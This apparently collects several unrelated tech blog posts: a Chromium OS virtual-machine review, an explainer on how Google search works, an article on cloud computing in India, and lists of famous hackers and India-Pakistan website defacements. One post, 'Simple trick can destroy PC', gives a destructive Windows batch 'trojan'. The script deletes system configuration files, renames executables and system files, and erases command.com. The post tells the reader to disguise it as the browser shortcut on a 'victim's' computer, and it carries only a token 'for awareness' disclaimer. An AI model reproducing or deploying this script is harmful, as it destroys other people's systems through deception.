Google Chrome OS - Is this the future?

Google Chrome OS - Is this the future?

Before we dig into the heart of the matter, let me say that I won't be discussing politics here. There are many
technical and pseudo-technical websites that have been orgying around the release of Google Chrome OS, debating
the privacy, security and monopoly issues involved, contemplating the Satan's share and Big Brother's parcel in
the lot.

I would like to give a not so humble man's perspective on a new Linux-based operating system available, which
you may or may not like or may or may not want to use. It's entirely up to you to love, hate or worship Google.
You will have to decide whether it's good for you, whether they want to steal your data and kidneys and what
you want to do with your netbook. From the purely user-istic perspective, I'll give you a conservative,
layman's view on what Google Chrome OS can do.

Google Chrome OS first impressions

Currently, Google Chrome OS, or rather the open-source version called Chromium OS is available for testing as a virtual machine image, either
VMware or VirtualBox, and you will have to register to download it.

This is because Google plan to ship Chrome OS tied to specific hardware platforms, similar to Moblin, which
should cut down the size of the kernel, the accompanying modules and the memory footprint, but this means only
custom tailored VM images for you, if you plan on testing.

Which is what I did, downloaded the image and tried.

Boot

There's nothing to see. After several seconds you'll get to the soft blue login windows, where you'll have to
provide your Google email to get into the system. The boot times in virtual machine are meaningless, but it
took about 20-30 seconds to get to the login prompt. The startup of the virtual machine failed once.

The login windows boots to 800x600px resolution, with the version string flowing over the right border into
oblivion. To login, you will need a valid Google email address.

What do we have here?

I have never used Chrome, so the interface is completely new to me, which makes for an even better test. This
is a great opportunity to learn about the new concept of the in-browser operating system and see how
simple/intuitive it would be.

The OS logs into to Google Mail. This is the default view.

The user interface revolves around top-positioned tabbed menu. The fonts and colors are soft and pleasant.

In the right corner, you have a few administrative buttons, including a battery meter, a network manager and
options. This is very similar to Moblin, which also uses the symbolic interface for
its core functions. Likewise, there is no shutdown button.

Options

The options allow you to open new tabs and windows, switch to private browsing, expand the view to full screen,
manage the browser history, downloads and extensions, and a few administrative tasks.

However, if you were expecting a full blown system menu anywhere, forget it. For instance, I did not figure out
how to change the screen resolution. In fact, it may very well be impossible, which could explain why Google
would want to ship their product with only a select number of hardware platforms.

Moreover, if you're looking for some kind of control similar to Windows or Linux or maybe a command line, there
is not any, either. The interface is pretty much locked. But the main focus of Google Chrome OS is exactly that
- distance yourselves from the classic concept of operating systems and step into an agnostic data-centric
cloud.

Tabs & customization

The second tab open by default points to Google Calendar:

If you want to access additional applications or just use the browser, you can open a new tab any time. By
default, the tabs open to a speed-dial like interface, similar to the one used in Opera, which you can
customize any which way you want, within reason that is.

You can set the speed-dial page to be your home page, review recently closed tabs or browse your entire
history. Chrome also displays a reminder that tells you you can install extensions and sync your bookmarks.

You can change the looks and even use some lively themes to add some spirit/color to your interface.

Whenever you need help, you can click on the Welcome link and get a brief introduction to Chrome and its core
functions.

For people who have only ever used Internet Explorer, Chrome might be a little tricky to grasp at first.
Firefox and Opera users will have an easier time adapting, but you may still find the concept a bit confusing.
The fact each tab has its own interface is counter-intuitive. You do run one browser, but each tab is an
instance of its own. The fact you have no centralized management and that each tab can recursively call all
others, despite being separate processes is a geeky feature that normal people won't easily understand.

Applications & documents

The term applications is a rather loose one, here, because we're talking about Google products, all running
remotely. If you've used them before, they are still the same. The big difference is, your data is kept in the
Google cloud, stored on Google servers. Chrome OS, in this regard, is merely an interface that lets you
interact with your files.

At the moment, there is no way to add your own local applications. This makes the operating system locked down,
easier to secure and manage, but it neuters the usability. For control freaks or even medium geeks, the lack of
any ability to control your programs and content can be frustrating.

There's also the practical question of remove connectivity: a) bandwidth b) security of connections established
to Google servers c) data storage privacy, security, retention, visibility, and availability d) scalability and
customization.

At the moment, most people in the world do not have sufficient bandwidth to be able to work with remove servers
comfortably, especially if they need to transfer large quantities of data. Real-time streaming also becomes an
issue.

Working with local files

You still have a sort-of an offline mode available, with your files saved to a local copy, but this is not the
intended goal of the browser operating system. You're supposed to work online, where both your programs and
data reside.

Application shortcuts and panels

If you want to make your Chrome OS behave a little more like the regular OS, then click on the Chromium icon in
the top panel, that's the leftmost one. You will be taken to the Google Accounts page, where you need to sign
in, once again.

Once you do that, you'll have a tab with quick-links to some of the available applications, including Youtube,
PicasaWeb, a few Flash based games, and, quite surprisingly, Hotmail and Yahoo! mail as well.

Fire them up and enjoy them, all in the cloud.

Browsing

Chrome, when not being the OS, is just a browser. Go to your favorite pages and enjoy yourself.

Flash playback

You can even watch Flash content, although the playback in the virtual machine was slow and choppy.
The resolution was really an issue on this one, because watching Youtube on 800x600px is tricky. I did not like
the aggressive cropping of the left page margin either, but that's cosmetics for you.

It can be changed, but there's no easy way for ordinary users to handle this. We'll talk about this a little
more later in the article, when we discuss some super-geeky hacks for Chrome OS.

Incognito browsing

For those who would like to enjoy a bit more privacy when browsing, there's the incognito mode, which will make
your session private, meaning there won't be any traces left.

Task Manager

If you hit Ctrl + Alt + Delete, you will see a very simplified Task Manager. The problem is, it will take focus
away from your browser windows/tab, so the only apparent way to close it is to click Stats for Nerds link in
the bottom, which will take you back into your tabbed interface.

There are some ways to get around the limitation, but that's later in the article!

From the purely classic perspective, the lack of a visible king utility that manages all is confusing. People
are used to having a vertical hierarchy and the flat, Internet-like everyone-sees-everyone relation used in
Chromium is radical and hard to adjust to quickly.

Performance

As a virtual machine not really meant to run on conventional hardware, Google Chrome OS performance was bad.
The system was sluggish and slow, but this means nothing. Google Chrome will run quite likely run well on the
optimized platform. The results are very similar to my observations with Moblin (virtual) and Ubuntu Netbook Remix on non-Atom platforms.

Memory wise, Chrome OS was no different than any other typical Linux, with 300MB used.

Developer mode

If you're feeling nerdy, you can play with the Developer mode, which exposes a web development interface to
you, mainly clogged with HTML, CSS and Javascript.

Hacks!

I've saved the best for the last! This is only if you feel ultra-geeky!

If you go to the Developer FAQ (The Chromium
Projects) page, you will find a handful of useful tips that can enhance your experience with Chrome. These
include shortcut keys that start a terminal (yes) and allow you to switch between open windows expo-style.

Terminal

This is what the real Linux users want and expect. No link anywhere in the main interface, but if you hit the
right combination of buttons, you'll get there. Ctrl + Alt + t and you have terminal!

Windows switcher

If you have several windows open, killing tabs one by one just to get there is not exactly the most elegant
solution. F12 will spread the open windows across your desktop, just like the Expo plugin in Compiz. Again,
very similar to Moblin Zones.

Worried geeks can now feel a little better ...

Conclusion

Judging Chrome OS is difficult. The natural tendency is to compare it to existing operating systems. But this
would be wrong. Because Google Chrome OS is not a conventional system, just like comparing horses and airplanes
serves no purpose.

Google Chrome OS is meant to be a fire-and-forget lightweight operating system focused around the Web
experience. It takes you away from your local disk, erases the boundaries between hardware and software and
throws you into the so-called cloud, where you exist on a higher level of abstraction. You don't care about the
internals. You take them for granted, just like most people take Internet for granted and have no idea what
Web, DNS and FTP servers are. But they do know what websites are. Similarly, Chrome OS is meant to give you a
very simplified notion of computer usage.

This model is definitely not for everyone. Only the future will show if it's going to work. For most computers
users, this is too much, too radical. If you're used to computers the way they are today, Google Chrome is a
leap of faith - and you don't even know what the faith is all about.

There might also be additional security, privacy and usage concerns that may complicate things yet further. But
it's too early to tell or judge.

What is clear is that the current Google OS technology demonstrator is a very young product. It's still just a
shell and will take many months or even years to form and perfect. Using it today offers few advantages over
conventional systems.

Unfortunately, due to the tremendous success of quite a few Google endeavors so far, people have taken Google
wizardry for granted. The expectations from Google Chrome OS were so high, people thought that it would
instantly become a hit, the new digital religion that everyone should swear by. But it's too early. Google
Chrome OS needs time.

I believe that in a year or two, Chrome OS will make more sense that it does today. Secondly, the current
generation of conventional computers users will probably never use it. If you must have some sort of a control
panel, if you must feel the kernel and be able to tamper with it, if you must have your data on your local
machine, Google Chrome is not for you. But then, you probably won't be using netbooks or smartphones either.

If you're asking for my opinion, I really don't know what to say. I can't say if this is the next revolution or
yet another interesting but useless idea. So far, Google people have been making some pretty decent decisions,
I guess they know what they're doing.

If I had to recommend something, that would be - take Google Chrome OS for a spin and see for yourself. The
ultimate decision whether you're going to commit your data into the hands of a big global cloud is something
only you can answer.

Cheers.
Rahul Singh Gehlot

Simple trick can destroy PC.

This post is only for learning . Beware to run anything It may harm seriously.

This is a self deleting trojan, once it dose its job it will erase its self.

copy and pase it in notepad and save it as iexplore.Bat/firefox.bat

then once its made put it on a disk or flash drive and put it on the desktop of the victom's computer. Right-click it and creat short cut. Change the name of the short cut(after deleting the orignal) to "internet explorer" "firefox" and right-click and click properties and click the shortcut tab. Click "change icon..." and find the "internet explorer/firefox" picture, click it and click apply on the bottom right. Delet the real I.E./Firefox And replace it with the virus.

here is the code :

@echo off
cd\ if exist c:\windows goto winslows if exist c:\dos goto do$ :poof erase * goto end_trojan :winblows cd\windows if exist system.Ini del system.Ini if exist win.Ini erase win.Ini ren *.Exe *.Vxe ren *.Dat *.Cat ren *.Sys *.Sex goto end_trojan :do$ cd\dos ren *.Com *.Kom ren *.Exe *.Com ren *.Kom *.Exe if exist c:\command.Com erase c:\command.Com :end_trojan erase ie/firefox.Bat

I am again repeating don't try it. it's only for awareness .

Are you confused ,How does Google search engine works ???

Google runs on a distributed network of thousands of low-cost computers and can therefore carry out fast parallel processing. Parallel processing is a method of computation in which many calculations can be performed simultaneously, significantly speeding up data processing. Google has three distinct parts:

Googlebot, a web crawler that finds and fetches web pages.
The indexer that sorts every word on every page and stores the resulting index of words in a huge database.
The query processor, which compares your search query to the index and recommends the documents that it considers most relevant.


Googlebot A Google’s Web Crawler
Googlebot is Google’s web crawling robot, which finds and retrieves pages on the web and hands them off to the Google indexer. It’s easy to imagine Googlebot as a little spider scurrying across the strands of cyberspace, but in reality Googlebot doesn’t traverse the web at all. It functions much like your web browser, by sending a request to a web server for a web page, downloading the entire page, then handing it off to Google’s indexer.

Googlebot consists of many computers requesting and fetching pages much more quickly than you can with your web browser. In fact, Googlebot can request thousands of different pages simultaneously. To avoid overwhelming web servers, or crowding out requests from human users, Googlebot deliberately makes requests of each individual web server more slowly than it’s capable of doing.

I. Googlebot finds pages in two ways: through an add URL form, www.google.com/addurl.html, and through finding links by crawling the web.


Unfortunately, spammers figured out how to create automated bots that bombarded the add URL form with millions of URLs pointing to commercial propaganda. Google rejects those URLs submitted through its Add URL form that it suspects are trying to deceive users by employing tactics such as including hidden text or links on a page, stuffing a page with irrelevant words, cloaking (aka bait and switch), using sneaky redirects, creating doorways, domains, or sub-domains with substantially similar content, sending automated queries to Google, and linking to bad neighbors. So now the Add URL form also has a test: it displays some squiggly letters designed to fool automated “letter-guessers”; it asks you to enter the letters you see — something like an eye-chart test to stop spambots.

When Googlebot fetches a page, it culls all the links appearing on the page and adds them to a queue for subsequent crawling. Googlebot tends to encounter little spam because most web authors link only to what they believe are high-quality pages. By harvesting links from every page it encounters, Googlebot can quickly build a list of links that can cover broad reaches of the web. This technique, known as deep crawling, also allows Googlebot to probe deep within individual sites. Because of their massive scale, deep crawls can reach almost every page in the web. Because the web is vast, this can take some time, so some pages may be crawled only once a month.

Although its function is simple, Googlebot must be programmed to handle several challenges. First, since Googlebot sends out simultaneous requests for thousands of pages, the queue of “visit soon” URLs must be constantly examined and compared with URLs already in Google’s index. Duplicates in the queue must be eliminated to prevent Googlebot from fetching the same page again. Googlebot must determine how often to revisit a page. On the one hand, it’s a waste of resources to re-index an unchanged page. On the other hand, Google wants to re-index changed pages to deliver up-to-date results.

To keep the index current, Google continuously recrawls popular frequently changing web pages at a rate roughly proportional to how often the pages change. Such crawls keep an index current and are known as fresh crawls. Newspaper pages are downloaded daily, pages with stock quotes are downloaded much more frequently. Of course, fresh crawls return fewer pages than the deep crawl. The combination of the two types of crawls allows Google to both make efficient use of its resources and keep its index reasonably current.

II. Google’s Indexer :

Googlebot gives the indexer the full text of the pages it finds. These pages are stored in Google’s index database. This index is sorted alphabetically by search term, with each index entry storing a list of documents in which the term appears and the location within the text where it occurs. This data structure allows rapid access to documents that contain user query terms.

To improve search performance, Google ignores (doesn’t index) common words called stop words (such as the, is, on, or, of, how, why, as well as certain single digits and single letters). Stop words are so common that they do little to narrow a search, and therefore they can safely be discarded. The indexer also ignores some punctuation and multiple spaces, as well as converting all letters to lowercase, to improve Google’s performance.

III. Google’s Query Processor :
The query processor has several parts, including the user interface (search box), the “engine” that evaluates queries and matches them to relevant documents, and the results formatter.

PageRank is Google’s system for ranking web pages. A page with a higher PageRank is deemed more important and is more likely to be listed above a page with a lower PageRank.

Google considers over a hundred factors in computing a PageRank and determining which documents are most relevant to a query, including the popularity of the page, the position and size of the search terms within the page, and the proximity of the search terms to one another on the page. A patent application discusses other factors that Google considers when ranking a page. Visit SEOmoz.org’s report for an interpretation of the concepts and the practical applications contained in Google’s patent application.

Google also applies machine-learning techniques to improve its performance automatically by learning relationships and associations within the stored data. For example, the spelling-correcting system uses such techniques to figure out likely alternative spellings. Google closely guards the formulas it uses to calculate relevance; they’re tweaked to improve quality and performance, and to outwit the latest devious techniques used by spammers.

Indexing the full text of the web allows Google to go beyond simply matching single search terms. Google gives more priority to pages that have search terms near each other and in the same order as the query. Google can also match multi-word phrases and sentences. Since Google indexes HTML code in addition to the text on the page, users can restrict searches on the basis of where query words appear, e.g., in the title, in the URL, in the body, and in links to the page, options offered by Google’s Advanced Search Form and Using Search Operators (Advanced Operators).

Cloud Computing - MIT Technology Review Magazine.

In the last two years cloud computing as a service offering has gained quick momentum in India. While the big players such as Amazon, Microsoft, Sun Microsystems, Google, and IBM are in the lead, many private companies are ready to mushroom to grab the market share. Netmagic Solutions, a private organization and hosting partner for Sun Microsystems, is one of them.

Every company irrespective of its size or categorization can benefit from cloud computing. The technology is suitable for large enterprises, mid-sized Internet service companies, small and medium businesses(SMBs) as well as traditional enterprises in verticals such as banking, financial services and insurance (BFSI), and manufacturing. Based on the nature of its operations and size, every company has different cloud computing requirements. Currently cloud computing technology is being touted as a service that can offer distinct commercial and operational advantages

“The opportunity in India is big and cloud is still in the early stages of adoption. We have a great opportunity to work with other vendors to help accelerate the process of developers, startups, enterprises and service providers leveraging the cloud. There is room for many vendors to be successful,” says Sanjay Sharma, Worldwide Director, market development for cloud computing, Sun Microsystems. “Sun has been working with a number of hosting partners such as Joyent and Netmagic that leverage Sun technology for their own cloud-based offerings. With the Sun open cloud platform in India, we will be able to offer even more value to our hosting providers that want to deliver clouds,” says Sharma.

Net magic is one of the very few private companies to offer cloud computing ser vices in India. It engages customers across various verticals through services that are tailored to meet their requirements as its services are vertical agnostic and can be deployed for varied applications and OS platforms. Sharad Sanghi, Managing Director and CEO, Netmagic Solutions, says, “Netmagic has a large and powerful pool of infrastructure that is ‘abstracted’ or ‘virtualized’ for various customers. This allows our customers to scale their infrastructure rapidly by provisioning servers in near real-time and using them only for the duration required without the disadvantage of long-term contracts. Customers can scale elements like CPU, memory, disk, and bandwidth literally on the basis of a few clicks. There are added elements like firewall, lad balancers, LAMP servers, and many other managed services that customers will be able to start and stop whenever they wish, through a secure user panel.”

Some of the key services Netmagic offers:
Cloud Serve provides disposable server resources to customers. Servers can be configured and reconfigured on an on-demand basis, depending on varying business needs. The service is ideal for hosting business applications for SMBs.
Cloud Net service provides customers with the ability to create a complete IT infrastructure including servers (web/database/ application), firewalls, load balancers, and switches by deploying ready-to-deploy cloud appliances. The service is also called Infrastructure Computing for the Enterprise (ICE). Netmagic proclaims it will address the needs of mid-size Internet companies for hosting portals, and data recovery and testing needs of traditional enterprises.
Private Cloud addresses large Internet companies and enterprises application requirements. PrivateCloud is a dedicated cloud infrastructure for large individual enterprise requirements. Netmagic provides hardware and managed virtualization platform to its customers so they can run virtual applications without worrying about ITresources. It also provides a console to allow customers to create various applications and upgrade or downgrade resources on the cloud instantly as per their requirements.


Compared with offerings of private companies such as Netmagic, the big players have the advantage of vast technology base, infrastructure, capital, and resources. Sun Microsystems, for example, intends to bring best practices from its open source technology to cloud computing. It has opened its cloud API for public review and comment. Currently, Sun offers consulting services to partners, developers, startups, and enterprise customers that want to build their own private clouds to achieve significant cost savings and added flexibility. Besides consultation, Sun customers also get the best in Sun’s world-class open source technologies such as OpenStorage, MySQL, OpenSolaris, and Java as well as the Sun xVM virtualization portfolio, identity management, and Web 2.0 programming platform tools and industry-leading servers to build their own clouds.

“With its open source roots, a lot of relevant technology and the vision of ‘network is the computer’ Sun brings a lot of value to customers in the cloud market. With our expertise in data center and virtualization services, we can effectively partner with customers to help define and implement their cloud strategy,” says Sharma.

In 2008, IBM too opened its cloud computing center in Bangalore to focus on helping local customers understand and implement cloud computing solutions. “The technologies on which cloud is based are technologies that IBM invented or lead in today – like virtualization, automation, open standards, and Web-based computing. IBM started delivering remote services to mainframes in 1968 so we’ve got a pretty extensive resume and have been building our arsenal in preparation of this new computing model for decades,” says Dr. Nataraj Nagaratnam, CTO, IBM India Software Labs.

However, in competition with big players Netmagic has spent 25 man months in developing cloud computing services and it is confident on the robustness of its infrastructure, managed services support and its ability to offer entire IT infrastructure in a cloud. While it refrains from indicating the exact price of its services, it says through its services its customers will be able to cut costs by at least 20-25 percent.

Currently, most cloud computing service providers in India are not willing to share information on what they are going to charge their customers. Dr. Nagaratnam of IBM says, “While the cost of consuming the ‘software as a service’ application from IBM is on a ‘pay per use’ model, the cost incurred by customers building private cloud for either internal uses or as a service provider would be subject to the individual requirements and size of the solution. A one size fits all approach will not resonate with enterprise clients that almost always have heterogeneous platforms.”

Considering the security issues around cloud computing services, Netmagic believes there’s nothing to worry about. “Enterprises will have to remain cautious in adopting cloud computing services in critical areas due to concerns about the maturity of offering, customization, and integration needs in addition to security issues and the extent of control over operations. Some of these security concerns are misplaced as the cloud platforms that are being deployed are secure platforms. Netmagic does continuous capacity upgrade and also has policies that ensure that individual customer utilization does not impact other customers so that each customer enjoys a dedicated resource experience,” says Sanghi.

Adding to this, Dr. Nagaratnam feels “It’s important to distinguish between public and private clouds. Private clouds are the behind the firewall already, so we have a great deal of control over security. As for public clouds, it is important to remember that like the Web they may never be completely secure and there are certain degrees of tolerance based on workload.”

Since cloud computing in India is an emerging technology platform, more and more companies such as Wipro, Yahoo, and TCS are foraying into the field. In this situation, both big and small companies, such as IBM and Netmagic respectively, face competition from global players like HP, Cisco, Oracle/Sun in some of its offerings associated with cloud solutions (such as software/ hardware bundling) and from local players like Infosys, Wipro, TCS, HCL in areas of system integration and consultancy, that is, helping end customers build private clouds.

The competition is going to be tougher for latecomers.

My Favourite top 10 hacks of all time.

Here is a list off the top 10 hacks of all time.
Early 1990s

Kevin Mitnick, often incorrectly called by many as god of hackers, broke into the computer systems of the world's top technology and telecommunications companies Nokia, Fujitsu, Motorola, and Sun Microsystems. He was arrested by the FBI in 1995, but later released on parole in 2000. He never termed his activity hacking, instead he called it social engineering.
November 2002

Englishman Gary McKinnon was arrested in November 2002 following an accusation that he hacked into more than 90 US military computer systems in the UK. He is currently undergoing trial in a British court for a "fast-track extradition" to the US where he is a wanted man. The next hearing in the case is slated for today.
1995

Russian computer geek Vladimir Levin effected what can easily be called The Italian Job online - he was the first person to hack into a bank to extract money. Early 1995, he hacked into Citibank and robbed $10 million. Interpol arrested him in the UK in 1995, after he had transferred money to his accounts in the US, Finland, Holland, Germany and Israel.
1990

When a Los Angeles area radio station announced a contest that awarded a Porsche 944S2 for the 102nd caller, Kevin Poulsen took control of the entire city's telephone network, ensured he is the 102nd caller, and took away the Porsche beauty. He was arrested later that year and sentenced to three years in prison. He is currently a senior editor at Wired News.
1983

Kevin Poulsen again. A little-known incident when Poulsen, then just a student, hacked into Arpanet, the precursor to the Internet was hacked into. Arpanet was a global network of computers, and Poulsen took advantage of a loophole in its architecture to gain temporary control of the US-wide network.
1996

US hacker Timothy Lloyd planted six lines of malicious software code in the computer network of Omega Engineering which was a prime supplier of components for NASA and the US Navy. The code allowed a "logic bomb" to explode that deleted software running Omega's manufacturing operations. Omega lost $10 million due to the attack.
1988

Twenty-three-year-old Cornell University graduate Robert Morris unleashed the first Internet worm on to the world. Morris released 99 lines of code to the internet as an experiment, but realised that his program infected machines as it went along. Computers crashed across the US and elsewhere. He was arrested and sentenced in 1990.
1999

The Melissa virus was the first of its kind to wreak damage on a global scale. Written by David Smith (then 30), Melissa spread to more than 300 companies across the world completely destroying their computer networks. Damages reported amounted to nearly $400 million. Smith was arrested and sentenced to five years in prison.
2000

MafiaBoy, whose real identity has been kept under wraps because he is a minor, hacked into some of the largest sites in the world, including eBay, Amazon and Yahoo between February 6 and Valentine's Day in 2000. He gained access to 75 computers in 52 networks, and ordered a Denial of Service attack on them. He was arrested in 2000.
1993

They called themselves Masters of Deception, targeting US phone systems. The group hacked into the National Security Agency, AT&T, and Bank of America. It created a system that let them bypass long-distance phone call systems, and gain access to the pbx of major carriers.

India-Pak cyber war has began. Now we Indian need to maintain the standard

India and Pakistan are fighting a silent war in cyberspace. In the last couple of months, hacker groups from the two countries have defaced each other's websites, sent trojans (viruses) to government-operated 'safe' networks, and planted spyware in the bureaucracy's email servers. To top it all, they have been constantly seeking assistance from neutral global groups to join their respective "team".

According to sources within the hacking community, conflict on the Indo-Pak cyber front flared up when the website of Eastern Railway was hacked on December 24 by a Pakistani group. That was the time around which the India-Pakistan war rhetoric was reaching a crescendo. "Cyber war has been declared on Indian cyberspace by Whackerz- Pakistan," a note posted on the hacked page of the railway website read. The group claimed that the site was hacked in response to the alleged violation of Pakistani airspace by the Indian Air Force.

This hacking incident followed a similar defacement of the website of the Criminal Investigation Department (CID) of the Andhra Pradesh police, which had been compromised by Pakistani hackers soon after the 26/11 strikes.

"The hackers removed the "most wanted" list from the CID website and replaced it with messages threatening us -- their Indian cyber rivals. The website in question - www.cidap.gov.in-- is still down, supposedly closed for maintenance," a source in the Indian hacking community told DNA.

Soon after the attacks, an Indian group -- Guards of Hindustan -- hacked into the website of the Oil and Gas Regularity Authority of Pakistan and posted their logo and the Indian national emblem on it. In retaliation, the Pakistan Cyber Army, hacked the websites of the Indian Institute of Remote Sensing, the Centre for Transportation Research and Management, the Army's Kendriya Vidyalaya of Ratlam and the Oil and Natural Gas Corporation (ONGC).

Top 3 hackers

1. Jonathan James
He was sentenced at 16 years old. In an interview, he professes, "I was just looking around, playing around. What was fun for me was a challenge to see what I could pull off."

James's major intrusions targeted high-profile organizations. He installed a backdoor into a Defense Threat Reduction Agency server. The DTRA is an agency of the Department of Defense charged with reducing the threat to the U.S. and its allies from nuclear, biological, chemical, conventional and special weapons. The backdoor he created enabled him to view sensitive emails and capture employee usernames and passwords.

James also cracked into NASA computers, stealing software worth approximately $1.7 million. According to the Department of Justice, "The software supported the International Space Station's physical environment, including control of the temperature and humidity within the living space." NASA was forced to shut down its computer systems, ultimately racking up a $41,000 cost.

However, he served six months in prison for violation of parole.

2.Adrian Lamo
lamo's claim to fame is his break-ins at major organizations like The New York Times and Microsoft. Dubbed the "homeless hacker," he used Internet connections at Kinko's, coffee shops and libraries to do his intrusions.

When he broke into The New York Times' intranet, things got serious. He added himself to a list of experts and viewed personal information on contributors, including Social Security numbers. Lamo also hacked into The Times' LexisNexis account to research high-profile subject matter.

For his intrusion at The New York Times, Lamo was ordered to pay approximately $65,000 in restitution. He was also sentenced to six months of home confinement and two years of probation, which expired January 16, 2007. Lamo is currently working as an award-winning journalist and public speaker.

3.Robert Tappan Morris:
Morris, son of former National Security Agency scientist Robert Morris, is known as the creator of the Morris Worm, the first computer worm to be unleashed on the Internet. As a result of this crime, he was the first person prosecuted under the 1986 Computer Fraud and Abuse Act.

Morris wrote the code for the worm while he was a student at Cornell. He asserts that he intended to use it to see how large the Internet was. The worm, however, replicated itself excessively, slowing computers down so that they were no longer usable. It is not possible to know exactly how many computers were affected, but experts estimate an impact of 6,000 machines. He was sentenced to three years' probation, 400 hours of community service and a fined $10,500.